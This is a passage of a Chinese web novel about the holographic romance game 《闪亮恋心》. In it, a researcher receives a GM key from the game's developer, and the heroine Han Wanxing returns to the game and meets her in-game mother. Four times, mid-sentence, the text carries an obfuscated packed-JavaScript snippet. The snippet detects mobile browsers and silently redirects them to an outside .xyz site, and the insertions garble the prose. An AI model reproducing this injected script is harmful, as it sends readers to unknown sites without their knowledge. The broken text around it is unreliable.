不多时，关佳鸣翻箱倒柜地给自己倒好了酒，嘬了一口，终于心满意足地爬到时涯对面的沙发里窝下，完全无视了时涯一瞬间变得惊悚的眼光。 “你们在开发的那个、啊就是那个东西，多少也是需要情绪类方面的研究的吧？” “不是我自吹自擂啊，”他一边喝酒一边拍大腿，明明就是一副自吹自擂的样子， “你真的应该来看看《闪亮恋心》现在的水平！” “虽然基础上用的是你的模型，但我手下那帮家伙也总算是没白烧掉那么多经费，我跟你说，开服后他们主动追加的那次临时优化简直让人眼前一亮……” 关佳鸣一打开话匣子就喋喋不休、停不下来，时涯怀疑他喝的液体里加了什么自己涉猎领域之外的成分。 “虽然很不好意思，但你团队里的每个研发都被我骂过，我也很清楚提供给你的混沌方程的上限所在，甚至可以穷举每一次的递归和坍缩结果……最重要的是，” “你是不是忘记了自己研发的是什么类型的游戏？我不认为一个仅仅是包装精美的超级斯金纳箱能够为‘创世纪’提供足够有益的启发——” 时涯边说着，将手伸向吧台上另一个杯子，却发现关佳鸣根本没有往里面倒酒。 “哈哈、以牙还牙！” 关总报了刚刚的一杯之仇，大笑着在沙发里滚了半圈，随后掏出一个什么东西向时涯扔了过来。 “这是什么？”时涯接住了。 小小一片，是能够插进游戏仓、在游戏内进行兑换的实体秘钥类物品。 “《闪亮恋心》最高权限的虚拟形象，在npc端显示为玩家，在玩家端显示为npc，所有数值类属性全部开放调整——啊、基本就是一个在游戏里拥有实体的GM，” 关佳鸣态度殷勤得可疑， “初始身份卡是空白的，如果想要沉浸式体验剧情，可以自主定义……哦，多次覆盖写入也没问题，稍微有点复杂，但我相信对你来说不是什么难事……” 时涯差点被气笑了，心想铺垫了一晚上原来在这里等着我。 “我不记得什么时候答应你做这个游戏的测试管理员，” “——还是义务的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317855|183103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“想要什么报酬随便提——只要你想到的，天上地下我都给你弄来，”关佳鸣图穷匕见，一身轻松，颠颠地跑来给时涯添酒， “……哎呀，你也体谅体谅，我不过是想要创造一个‘让全天下的女性感到幸福安心’的世界而已，说起来，我们的目标是一致的嘛。” “谁跟你一致——” 然而关佳鸣见他已经收下秘钥，拍拍屁股就准备撤离。 “时总监日理万机，我就不多打扰了，道具什么时候都能用，有问题随时给我打电话……啊、水肃老师堂堂更新！lucky——” 他保持着跟来时几乎一模一样的姿势，一手插兜一手翻着手机往外走去。 剩下时涯一个人，两指捏着那块黑色的小东西，对着壁灯出神。 灯光将他的轮廓拉长、打在做旧的砖墙壁上，看上去像尊会呼吸的雕像。 游戏……韩挽星…… 时涯觉得可能是自己离开研究所时间太久，大脑水土不服了。 。 此时的研究所，9号实验组。 时涯送离韩挽星后，很快便对002等人发出讯号，众人也恢复了正常的维护运作。然而本该是休息期间的现在，又有3人悄悄回到房间。 “……果然什么痕迹都没有保留。” 002仔细检查过一遍核心服务器日志，又不死心地逐行查看代码。 “别看了，不管是谐振腔还是耦合器，打扫得比我大脑皮层还丝滑，连动过哪个模块都查不出来……可恶，这是故意在防着咱们吗？” 研究员005抱怨道，语气里带着明显的烦躁， “他真的已经把结构补完了吗？不会只是在吹牛，实际根本什么都没做吧？” “——你睡昏头了吗？那可是时涯，” 002打断了005，但他脸上的表情也显得十分紧张， “我打听过了，清理痕迹只是他的习惯操作而已……而且，他都那样说了，不可能什么都没做的，我宁愿相信他把额外的也做了。” “他最好是做了，”从刚才开始一直没做声的第三位研究员忧心忡忡道， “9号服务器的实际情况、项目不断延期的真正原因……现在陈煜临阵脱逃、一走了之，真相只有我们三人知道，” “时总监表面上的那套说辞，谁也看不出真假，或许陈煜扛不住跟他说了实话也不一定——有人看到他们两个人不久前单独在角落聊了很长时间。” 三人不停地寻找蛛丝马迹、自我说服，但002还是越来越不安。 “先不说时涯的能力是不是已经高到真能在这么短的时间里、轻描淡写把服务器完全修复回去……发生了这种问题，居然没有处罚任何人，这合理吗？” 另一人皱眉猜测道，“可能在他看来问题也没有严重到这个地步？毕竟我们一直严防死守没有让9号联入场域……” “对啊，除非时涯疯了，能够找来一个愿意冒着生命危险的活人实验体，自愿把全部神经情感单元与□□彻底、完整地剥离，献祭给9号专门用于激活祂的自反性逻辑回路——哦、他们还需要躲过研究所的所有监控，还有咱们这么多双眼睛……” 005干巴巴地笑了两声，见另外两人没有反应，又迅速闭上了嘴。 “事到如今，也只能走一步算一步了。”002看向屋内黑色沉默的大家伙，长叹了一口气。 8. 闪亮恋心，堂堂再启动 韩挽星在出租屋内闷头就睡、睡醒就吃，度过了无忧无虑的好几天。 在前不久、《闪亮恋心》开服当日，经历了一系列紧张刺激、且完全无法用科学解释的事件之后，挽星对全息游戏这项活动产生了深刻的阴影，甚至把自己的游戏仓都扔到了楚潇冉房间。 潇冉倒是一直抱着很高的游戏热情，时刻在“不过度剧透”的前提下、积极地向挽星分享自己的攻略进度，在游戏中如鱼得水，过得十分快乐。 唯一可惜的是，她的生活里，除了快乐，还有不可忽视的、名为“截稿日”的巨大生存压力。 没错，虽然看上去和挽星一样，每天窝在出租屋当老鼠人，但楚潇冉其实是一名签约的全职少女漫画作者。 平日摸鱼、吹水、为爱发电，然后拖到月底、痛不欲生的那种。 “啊啊啊啊不是才交过稿吗为什么又要交——”潇冉把脑袋蒙在被子里、痛苦地哼哼唧唧。 挽星邪笑地扑到她身上压着，学电话里编辑骂人吓唬她， “……老师！再不交稿你就完蛋了！我要跟总编狠狠告状！让她扣你全勤扣你绩效扣你年终奖——” “不是、这几样我到底什么时候有过了？”潇冉悲愤。 再悲愤也得干活，毕竟不干就没饭吃。 更何况楚潇冉侠肝义胆，在挽星最落魄的时候发下豪言壮语，向她伸出接济之手。 所以现在是一双手不画画，两张嘴没饭吃。 片刻后，潇冉已经坐到电脑桌前，挽星十分乖巧地坐在旁边，给她端茶倒水捏肩喂饭，听她一边画一边持续地哼唧。 “呜呜我的游戏……我今天还没上线呢……” 楚潇冉痛苦乱戳，擦擦改改划下一笔，过了一会又给删了， “……呜呜我的绿茶小忠犬和腹黑大师兄，还有我的清冷师尊……” 挽星颇有些于心不忍，犹豫了一下，开口问道， “要不，我去帮你上号做日常？” “什么？不行不行不行——”意料之外，潇冉大惊，强烈表示反对， “我是体验派来的，如果不是自己玩的就没有意义，怎么可以代上号？” “而且这个游戏跟咱们之前玩的不太一样，日常任务不占什么比例……它有点像单机游戏，但又不完全是……”说着说着开始手舞足蹈起来。 “好啦好啦我知道了。”挽星按住了她。 “而且你那天不是说，再也不玩儿全息游戏了嘛！”楚潇冉不想画画的时候思维发散得最快，她眼珠子一转，望向挽星， “你缓过来了？又愿意跟我一起玩闪亮恋心了？” “我……” 挽星欲言又止。 说不害怕是骗人的，即使已经过去了好几天，那种完全丧失了对实际身体的控制、没有人能看见自己、像孤魂野鬼一样到处飘的感觉，只要回想起来，还是令挽星不寒而栗。 她也不过是个普通人，对于一切亲身经历过、又无法找到任何解释的神秘事件天然地存在恐惧。 “可是”，此时挽星的心里又有一个小小的声音在对她说， “就算遇到了那样的事，不也平安回来了吗？” “或许其实那天也没有那么可怕，应该只是你自己的回忆放大了恐惧而已吧？” “说到底，既然哪里都搜不到类似的事情，说明这个bug也只是非常、非常偶然的情况而已，我们这种普通人，一辈子能遇到一次都算难得的了，” 花了那么多钱买了游戏仓，你自己之前不也很期待闪亮恋心这个游戏吗？ “真的有必要为了那一天的事，因噎废食，永远不再玩游戏？” 而且，即使是那样的环境里，就算其他人都看不见自己，至少也还有一个时涯—— 时涯……他到底是真人、还是虚拟世界的角色？他现在又在做些什么呢？ 挽星一想到这个人，就觉得自己进入鬼打墙，不自觉地发起了呆。 “……挽星？挽星——” 潇冉伸手在眼前招了好几下，才终于把她喊回神。 “啊、抱歉，你刚刚说什么？” 潇冉倒是早就习惯了自己好朋友随时随地发呆的小毛病，很自然地重复了一遍刚才的话， “我说，你要是确定自己心理调节好了，要不要试试把自己的号养起来然后卖掉？” 她飞速地在手机上操作了几下，将屏幕展示给挽星， “你看，闪亮恋心现在真的很火，一个账号值好多钱呢！” 挽星凑了过去，见手机上是一个账号交易的帖子，标了一个对于她认知中的游戏交易来说堪称天文数字的价格， “卖号？”挽星发出了质疑， “可是闪亮恋心目前不是只支持一个人开一个号……” “对呀，”潇冉道，“正是因为这个游戏不禁止账号交易，又控制账号的总量，价格才能炒到这么高。” “我之前也跟你说过的吧，闪亮恋心的自由度很高，随机性也很高，这样结合下来，几乎每个玩家从开局的剧情就不一样，” “这种模式固然有它的好处，可也有人玩着玩着就会后悔之前的某个选择，或者想要多体验几种不同的路线，” “就比如我，开局是一个世家的新任家主，但我也刷到网上、有人的身份是小师妹，她那边的家主并没有更换。” “同样的可攻略对象，在我这里是下属，在她那边可能就是青梅竹马，有更完整、更亲密的剧情，如果我碰巧更喜欢她那边的故事，就只能把她的账号买下来了。” 潇冉这样细致的讲解，挽星也基本上搞懂了， “所以按你说的，我只要创建好角色，登入游戏，过完新手指引，就可以挂出来卖号了？” 潇冉点点头， “不过那样的话，价格卖不到很高。像我刚才给你看的那种账号，已经玩了一段时间，集齐了大部分现在的热门男主，好感度也都达到了平均以上的水平，这种号才会卖得贵。” “既然现在一个人只能培养一个账号、赚一次钱，你时间又多，不如把自己的号尽量养好，然后卖个大的。” 楚潇冉眼中闪着精明的算计，语气中还带着浓浓的自豪感，“不是我吹，我现在对闪亮恋心的理解算是全网很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317856|183103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠前的了，我随手发一篇攻略都有好多人点赞提问呢！” 她伸手指向地上的游戏仓，那是挽星之前因为害怕强行搬到潇冉卧室的。 “我就在屋里画画，游戏里遇到什么问题只管跳出来问我，如果担心还遇到bug，我可以过1小时强行把你唤醒。” 上一次的经历虽然在挽星的记忆里好像持续了很长很长时间，但现实中也仅仅过去了一小时而已。 挽星顺着潇冉的视线望见自己的游戏仓，心中已经被强烈的动摇了。 试一试吧。 她心中的那个声音在催促自己。 如果还是害怕，就尽快把号卖掉，一了百了。 存款也不多了，自从辞职以后也没有找到什么像样的工作，现在正是需要这笔钱的时候…… 这个想法终于让挽星下定了决心。 “冉冉，我、我想试试……” 。 天旋地转。 挽星再一次来到了夜空一般漆黑的初始登录界面，但不像上次，是与潇冉组队进入，这一次只有她一个人。 韩挽星，和她的虚拟形象“晚星”。 与自己长相高度相似的浅金发女孩在这个静止了时间的异空间、沉默地与她对视，如同之前的所有事都没有发生过。 “她”面容平和，嘴角弧度有微不可察的上扬，那是自己上一次捏脸时候的小巧思；瞳孔里流转着光芒，视线能够跟随挽星本体，连带着头部微微移动，因为“晚星”的个子更高一点，所以现在是稍稍颔首，从上往下看着自己。 上一次登录时的确认键已经消失了，意味着挽星在陷入bug之前，确实已经完成了角色的创建，从面容、身材，到角色的名字，都已经固定下来。 而取代了角色确认键的，是进入游戏的确认键：一个泛着粉光的虚拟按钮，在挽星的身前飘浮着。 “没事的、不害怕，不害怕……” 挽星大口地深呼吸，给自己做着最后的心理建设，努力忘记上一次点完按钮后发生的意外。 最终她闭着眼，左手握右手、一边大吼给自己壮胆，几乎是整个人砸向按键。 “区区游戏——而已！——” 随着强烈的白光袭来，挽星真正地进入了《闪亮恋心》的世界—— 其证明就是，这一次她不仅没有丧失五感，而是听到了此前在铺天盖地的宣传片中就听过的、熟悉的背景音乐； 她的眼前完全被星光、玫瑰、五光十色难以分辨的装饰品组成的海洋淹没，鼻腔也传来一股香甜的味道，挽星不知道那是什么：花香？木质香？某种甜点的香气？…… 总之，等炫目而奇妙的传输进度走到底，比其他一切都要更提前的，是额头上传来的微凉触感。 挽星视线快速地聚焦——先是修长的手背，然后是一张眉眼温润的面孔。 一个竖着背头，西装革履、打扮精致的男人，正俯下身，距离很近地看着自己。 见挽星回望了过来，他才匆匆收起一丝担忧的神色，含笑道， “这种时候也能睡着，我们晚星真是跟小时候一模一样。” 9. 经营好开局 挽星低头观察了一下自己：发色、服装，都与自己捏的角色相符； 随后又迅速地看了一圈四周，除了眼前这一个，其他对上视线的人也都会友善地笑着跟自己点头。 ——没有穿越到诡异的地方，没有变成幽灵。 好耶！ 男人见挽星没有第一时间回复自己，也不生气，只稍稍退后一些，朝她伸出手来。 “怎么，我们的大小姐睡蒙了，忘记了自己是谁？”他还是一副笑模样，声音偏低，刻意放得很轻柔， “需要我来帮忙复习一下吗？” 挽星这才发现自己刚才一直是躺着的，但因为是躺在一堆轻薄又柔软，还具有相当支撑力的织物中间，身体几乎没有感觉。 两人身处的地方似乎是某个华丽宴会的角落：灯影摇曳的大厅，珠宝首饰和裙摆的反光交相辉映，侍者端着高脚杯灵活地穿梭来去。 看来这就是《闪亮恋心》的背景导入环节了，按照潇冉所说，自己即将拥有一个独一无二的开局。 挽星连忙抓住男人的手坐了起来，对他提出的“重新介绍一遍身份”的建议连连点头。 对方看起来年纪并不算很大，举止间却有种似有若无的老成，像是完全把挽星的举动当成了过家家撒娇，从善如流地在她身边坐下，开始引导叙述， “你叫晚星，是A市、宋家的独生女……” 他的语速很慢，眼神专注地盯着挽星，似乎在鼓励她做些什么。 挽星眨了眨眼，福至心灵地想到了进入游戏仓之前楚潇冉的叮嘱， “这游戏隐藏选项超级多的，但它不喜欢提示你，可能是为了沉浸感？实际上几乎所有地方都有可调整的空间，你只管随心所欲就好，npc会帮你完美地圆回来的，” “一定要开个好头哦！” 于是挽星决定先做个小实验。 她打断了男人的叙述，试探性地问道， “可是，我记得我家姓韩……？” 对面没有任何卡壳、缓冲，流利地接过话来， “当然，我说的不是韩家吗？可能是我口误了，” “或者你听错了。”他一本正经。 挽星悄悄瞪他一眼，算了，试验小成功，听错就听错吧。 “……韩家经营酒店、商场，承办高端宴会，在A市积累了不小的财富，”所以自己一睁眼就在这样的场合啊。 挽星不知道《闪亮恋心》是怎么做出的初步筛选，可能仅仅是因为自己挑的衣服是“时尚礼服裙”的类型？像潇冉也是选了件带了一些中式元素的齐胸裙，然后初始就被分去了一个古老修真世家。 不过挽星并不满足于此。 既然知道了可以通过自己的叙述改写设定，她想要试探一下边界，看看这个游戏到底能自由到什么程度。 “那我家是不是很有钱？”她问道， “毫无疑问。”男人点点头。 “不是普通有钱，而是特别有钱、超级有钱——超级超级、超级有钱？”挽星双眼放光，表情激动得要流口水。 男人完全理解了她的意图。 “韩家是帝国最富有的家族之一，”挽星明显感到在维持基础情况不变的前提下，有一些设定已经发生了变动。 “韩氏的产业遍布寰宇，覆盖各行各业，哪怕是最偏远的农业卫星，也有韩家专属的贸易航道；” “家族账目一天明面上的流水，足够买下一个小国家，你的电话被无数顶尖商业机构、国家政要列入特别关注名单，就算半夜已经睡下也要爬起来查看你的动态提醒。” “你还记得今天宴会的主题吗？是为了庆祝你拥有了属于自己的第20个私人岛屿，” 一名侍者路过，男人随手拿起酒杯，递给挽星，并示意她随着自己的视线看去：大厅的前方放置了一个闪亮的沙盘，里面是一座绿意盎然的海岛，显然就是挽星这次宴会想要炫耀的主题。 “——今晚这里的每一个人，盛装打扮，全都是为你而来。” 哇。 挽星半张着嘴，开开合合，无声尖叫。 即使明知道是游戏，这种美妙的沉浸感也还是太超过了。 谁敢信她平时做梦都只敢梦到全资收购蜜X冰城——在自家楼下开的小门店，现在终于搞了一把大的！ “怎么样？满意了没有？现在愿意起来、跟我一起出去转转了吗？” “最后一个问题！” 其实挽星已经准备好站起来了，但是唯独这个事不问不行， “咱俩的关系到底是……？” 从对方熟稔的态度来看，自己是绝对不应该不认识他的，然而她忍了好久，听完了大段台词，还是完全看不出这个人的身份。 或者说这个问题也是可以自定义的？ 然而这一次她的猜测落空了，男人听罢，用一种相当古怪的眼神看着她， “明明你从中学就不再问我这个问题，怎么又开始了？” “是谁又跟你说了什么吗？” 这算什么回复？ 挽星也被弄懵了，她原本预设对方是自己的朋友、甚至管家之类的，出现在这里只是新手剧情需要，问到个名字就行。 新手引导的npc也有这么复杂的背景吗？ “哇一来就抓到你欺负我女儿！” 不远处突然传来一个女声。 两人同时扭头看去，一个披肩卷发，神色和蔼的中年女性走了过来。她身上的礼服款式简约却很衬身形，皮肤紧致光滑，一看就知道保养得很好。 “不可以这样喔Andy，今晚晚星可是主角。” 她笑吟吟靠近，不轻不重地弹了挽星身边的男人一个脑瓜崩。 “哇姐姐你看清楚，到底是谁欺负谁？”对面显然很委屈，捂着脑门喊冤， “晚星她不知道听了谁的话，又要不认我这个舅舅啦，你还向着她……” 女儿？姐姐？舅舅？ 挽星后知后觉。 “我的妈呀……” “哎乖女儿——” 答应得这么熟练，看来这是真的妈了。 直到此时，游戏提示才姗姗来迟，只见挽星对面一男一女的头顶突然冒出了绿色的姓名条： 韩惠琳，韩锦安。 但当挽星的视线移开，姓名标注也随之消失，只有她再凝神仔细去看，那行文字才会不情不愿地再冒出来，闪烁两下。 是有多注重沉浸感啊？ 挽星情不自禁吐槽。 两位长辈明明长相年轻，却高度一致地露出和蔼的表情，专注地看着挽星，仿佛在等她的下一步行动。 挽星下意识挺胸抬头地坐正了，同时整个人往后缩了缩。 在她真实的生活经验中，不论是哪个种类 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317857|183103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的长辈，交际起来都不会很轻松。 比如小时候会抓着你背古诗、背单词，长大了会在吃饭莫名其妙的中途拍你的手背，示意该去敬酒了、该起来说话了…… 会突然到访，打乱你一整天的计划，你陪着听了很久的回忆和教训，结果并没有留下什么有用的记忆； 又或者大人们不知道什么时候约好了聚会，然后你和其他小孩、半大小孩、各种年龄差异的小孩被自然地放在一起，可你既不想跟他们玩、也不知道该怎么一起玩…… 虽然都不是什么罪大恶极的事，但也实在快乐不到哪里去。 自从挽星独立出来、从老家只身赴往魔都工作，已经有相当长的一段时间没有回过家，也很久没有想起小时候的那些事了。 现在回去，她都会尽量避免亲戚扎堆的大饭局，但也总有些时候是避免不了的：过年啦，小辈婚礼啦——话题她也几乎都能背的出来，除了催婚，就是旁敲侧击地问工资问待遇，让她能不能“带一带”弟弟妹妹们。 ……还是那句话，不至于罪大恶极，但也并不舒服。 因此即使现在是在游戏中，面对一个全新的母亲形象，她也并没有产生太多期待。 按照韩锦安所说，这个宴会是为自己办的，但身为主人，挽星不仅躲到一边偷懒，还胡言乱语，惹舅舅生气……这种情况下，就算不挨骂，也多少会被“教育教育”吧。 挽星惴惴不安地看向韩惠琳，在心里叹了口气，不知道游戏剧情安排这一段是个什么意思。 “怎么啦？叫了妈咪一声以后一直在发呆，是不是宴会太无聊？” 挽星没想到韩惠琳向自己开口第一句的内容是这个。 她毫不介意挽星略显僵硬的姿势，挤开韩锦安，坐到挽星身边，把自己刚准备站起来的女儿又按了回去，同时另一只手还抢走了韩锦安手里的香槟酒杯，仰头就是一口。 整套动作堪称行云流水，一气呵成。 挽星惊呆了。 韩锦安倒是很习惯的样子，耸了耸肩， “看来今晚我是排不上号了啰，你们亲母女慢慢聊，我啊、再去找杯酒喝。” 他拿空了的那只手划了半圈，行了个优雅的礼，随后转过身离开。 而韩惠琳在弟弟背过身后快速地吐了吐舌头，呸呸两下，很不客气地道， “这是整场宴会最难喝的一种酒，就被他拿到了，这小子的品味还是这么烂。” 挽星终于忍不住被逗笑了，而她剧情中的母亲同样露出惊喜的笑容，伸手捏了捏她的脸， “我女儿笑起来真好看！” 气氛好到这个份上，挽星也懂事地主动向妈妈揽错， “抱歉，刚才是我睡昏头了，缠着舅舅瞎问问题，他才会生气的，是我不对，”她抓了抓后脑勺，干笑着掩饰尴尬， “刚才一瞬间跟失忆了一样，也不知道是怎么回事哈哈哈——” 没想到，韩惠琳并没有像现实中、像真正的妈妈或者其他什么长辈一样，顺台阶下——顺着挽星“自罚三杯”的话、不轻不重地教训她两句，反而带了几分严肃、几分疑惑地望向她， “这里没有人怪你，为什么要道歉呢？” 在挽星愣怔的眼光中，惠琳温柔地将她抓乱了的头发抚平，声音轻而和缓， “不必道歉，我的宝贝，你从来不需要为你没有做错的事道歉。” 10. 游戏的快乐 大厅中央适时地传来一阵轻柔悦耳的音乐，像是在给挽星与韩惠琳的对话配bgm。 眼前的女人眉眼弯弯，细看还与挽星有点相似，岁月在她脸上留下痕迹，但相比对待其他人的刀刻斧凿，她衰老的程度仿佛只是时光友善地打了个招呼。 她的发丝依旧浓密顺滑，在脑后做成很有造型感的大波浪，衣服即使坐下来也是垂坠合体的，看不出材质的丝滑面料将皮肤衬得微微发光。 “今晚，为了庆祝在宇宙中又多了一块归属于你的小小的角落，我们举办了这个宴会，” “我很高兴看到你在已经拥有了相当数量的私有领地之后，仍然对海洋岛屿抱有热情，这代表你没有被开发和维护等一系列琐事消磨掉兴趣，同时对投资和使用它们有自己的见解。” “X海边缘的一座岛屿，是你给自己的礼物，而你，晚星，是妈咪一直以来拥有的，最好的礼物。” 惠琳牵起挽星还握着酒杯的手，用自己的酒杯碰上去，做了一个小小的cheers。 “不要道歉，我们活着的每一天，都要为自己的存在庆祝才对。” 啊，这算什么？心灵鸡汤环节？ 挽星一边在心里冷静地想着，斩钉截铁地下定论，一边用力眨了眨眼睛。 这当然是虚拟的，是游戏塞给自己的一段编好码的程序，是游戏策划画蛇添足的一段无关“乙女游戏”这个主题的背景剧情。 但当一位“母亲”实打实地站在自己面前，提出表扬、夸奖、承诺，挽星感到内心里有一块她以为早就不存在的、可能就像是X海中的一个无名岛那么小的、一小块地方，依旧生动鲜活地、狠狠地抽动了一下。 她忍不住轻声问道， “如果，我是说如果，我们家根本没那么有钱，大家都是穷光蛋，你女儿我不光是穷光蛋，还是没出息的笨蛋；” “如果我又穷、又懒，好不容易毕业了也找不到工作，找到了也存不下来钱，又忍不了被欺负，连工作也丢了……” “我还算你的礼物吗？你还会、还会喜欢我吗……” 挽星的声音越来越小，最后一句几乎连自己都听不到了，而韩惠琳一把搂过她，将她柔软的长发按进自己同样柔软的胸口。 “当然啦宝贝，当然。” 惠琳回答得毫不犹豫，坚定而包容。像个真正的妈妈一样。 此刻，大厅中间的交响乐队也迎来了情绪的高点。 铜管声部率先撕开平稳，弦乐紧随其后急速攀升，小提琴跃升两个八度奏出主旋律，之后所有曲式以不同的形态、从四面八方汇集而来，交织成复合的旋律，如同人此刻五味杂陈又难以说明的情感。 在这样婉转而激昂的背景音中，挽星埋在韩惠琳怀里、使劲吸了一下鼻子，闷闷地想，要是之后刷到网上有骂这段剧情，自己是一定要去当护官宝对喷的。 母女俩这么依偎了一段时间，还是惠琳先放开了女儿，笑眯眯地向她提出下一步行动的提示， “小岛产权交接的具体手续Andy还在跟机构谈，之后这段时间，你是想先在附近海域休息一下，还是跟我回老家本宅？或者去公司？还是说、你有其他想办的事情？” “无论想做什么都可以，”惠琳补充道，“想随时改变主意也是可以的哦。” 看来，从这里就开始进入自由培养攻略对象好感度的进程了，挽星想。 按照潇冉之前跟自己提过的，进入《闪亮恋心》，首先经历“出生点”剧情，之后就会开始一段“自由活动”，这时就会关联起游戏在宣传阶段也反复提到的“大世界”设置。 所谓开放大世界，指的是在没有明确任务指引的情况下，在一整片相当大的地图范围内，由玩家随意游走、自行探索，获取探索奖励，以及触发各式各样的支线剧情、解密的游戏设置。 非全息的开放场景，无论画面做得再逼真，声光效做得再好，受限于维度之差和各人设备的区别，基本上很难达到全息游戏那样身临其境的程度。 但全息技术开发以来，让全球顶尖制作团队夜以继日奋斗的、好几部出名的作品都集中在末日丧尸、枪战，或者宇宙战争背景。 同样一片水波反光的模型素材，资方总觉得将它变作四处飞溅的血潮更有“技术力”，而用它来模仿搭建某个度假岛屿的顶级冲浪风光，就是“不务正业”。 这一点也正是《闪亮恋心》这个游戏的突然出世，不光令圈外人惊讶、更让业内震惊的原因。 而此时，正是受益于《闪亮恋心》那神秘、富有，且专注于用其爆棚的技术力完美刻画“毫无必要”的生活细节的团队，挽星能够仅仅使用几度电的成本，享受从未有过的私人包机环岛水飞体验。 “呜哇——” 头顶是像油彩一样高饱和的蓝色天空，脚下是绿色透光、层层叠叠像果冻一样的晶莹海水，凉爽的风从大开的舱门里灌进来，挽星整个人都被包裹在清新的气息中。 虽然是直升机，但在这里没有吵人的机械轰鸣声，机厢也不会在低空的气流中摇摇晃晃。 整个机舱内部都是根据挽星的要求私人订制的：热带风格的墙壁和地板，草编的坐席，棕榈树的叶片和鸡蛋花装点在角角落落。几乎在她脑中想象出画面的那一刻，装潢就已经布置完毕。 怕尴尬、怕面对服务人员不知道该说什么，于是飞机内除了挽星，就只剩下一位寡言的驾驶员。披萨随时保持着刚刚好能让芝士融化的、适口的温度，而紧挨着餐盘的饮料却永远是冰凉沁爽的，外壁覆盖着薄薄一层水汽。 取现实之精华、去现实之糟粕，这就是大世界游戏的意义所在吧。挽星瘫在柔软座椅里，抻着脑袋一口吸光了手边的椰子，品味着椰子水超绝新鲜的口感，满意地想。 甚至在游戏里吃东西还不用考虑发胖的问题！ 想到这里，挽星更是像只海豹一样眯着眼睛拍着肚皮，快乐地发出了毫无意义的呼噜声。 她已经这样在游戏中度过了好几天，很明显《闪亮恋心》这个游戏设定的时间流速与现实不同。 其他有些游戏，时间上与现实同步，这样能够让玩家从另一个维度获取沉浸感，尤其是在一段时间没有上线后，再打开游戏，发现虚拟人物的世界已经沧海桑田，会给人一种奇妙的感受。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317858|183103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而《闪亮恋心》在这个方面则选择和其他单机乙游保持一致，玩家在独属于自己的大世界中，甚至可以主宰时间的流速。 一旦确认玩家确实进行过了某项活动，就可以调整时间进程，自由选择是否跳过这段情节。这样一方面避免以往饱受玩家诟病的“强制剧情”，对于一些追求快速走任务线的攻略型玩家也比较友好。 吃饱喝足，挽星在躺椅上伸了个懒腰，双眼一合，确认后台系统中角色“晚星”的体质和心情数值再一次得到增长后，施施然按下了快进键。 没错，即使是吃吃玩玩、看起来最无所事事、消磨时间的活动，在游戏里也可以增长角色的数值，提升度还不小。 时间倒回游戏里的好几天前，惠琳与挽星的谈话告一段落，奢华的晚宴也在悠扬乐曲声中结束的瞬间，挽星眼前便浮起可进入后台界面的光标。 点进去之后是类似传统RPG游戏的角色属性和装备一览，智力、体力、耐力等等几十个维度、以小字标签的形式、密密麻麻环绕着用光线和光点构成的“晚星”。 这些复杂的维度标签中，有一些挽星根本不知道是用来做什么的，即使把手移上去，也觉得那些说明暂时超出了自己的游戏理解；还有大片的标签是灰色的，只显示出问号，挽星猜测这些只能通过以后的探索才能解锁。 而在已解锁的标签里，大部分的初始数字只有可怜的个位数。 如此朴实的数值让挽星吓了一跳。 《闪亮恋心》虽然是乙游，但游戏内容、至少在宣传片和潇冉的描述中，是包括了相当一部分比重的即时战斗环节的。 在挽星之前看到的片段画面中，主角和同伴们组成的队伍并肩作战，你来我往，流畅地配合着将怪物对手置于死地。 而根据潇冉的说法，她在游戏战斗里简直呼风唤雨，法力高强，比反派还要像boss。 战斗失败当然不至于死人，毕竟是爱与梦想的恋爱世界，不是你死我活的末世求生，但既然采用了全息技术，疼痛和疲劳的感觉自然也都是相对真实的。 更高的数值，意味着更轻松的挪腾闪跃，更有力的劈刺砍削，更持久的屏息凝神，更精准的一击命中。 “……就是说，咱这个小身板儿，能打得过谁啊？”眼下挽星瞅着标签“体质”后面跟着的数字2，无语问苍天。 同时她也在心里吐槽，偷偷给游戏记了一笔，自己好歹捏了一个全球首富家族的人设，为什么初始号还是如此白板，真是不科学…… 